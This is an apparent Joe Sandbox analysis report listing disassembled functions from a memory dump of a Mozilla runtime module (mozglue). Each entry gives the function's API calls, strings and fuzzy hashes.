Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C53A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770), ref: 6C53A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A87B

Part of subcall function 6C53A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C53A88F,00000000), ref: 6C53A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C53A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A90C
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A97E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction ID: 8abbc935114a70cfc165bcec5007195708f26f3ce4641b447700818eeff804a5
Opcode Fuzzy Hash: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction Fuzzy Hash: 93419FB5A00248CFDF00DFE4CC45A9EBBB1FF44324F148629E81AAB791E731A945CB91

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE
<jemalloc>, xrefs: 6C510D92, 6C510DB9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

name, xrefs: 6C531939
Details, xrefs: 6C531925
{marker.name} - {marker.data.name}, xrefs: 6C5318C7

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

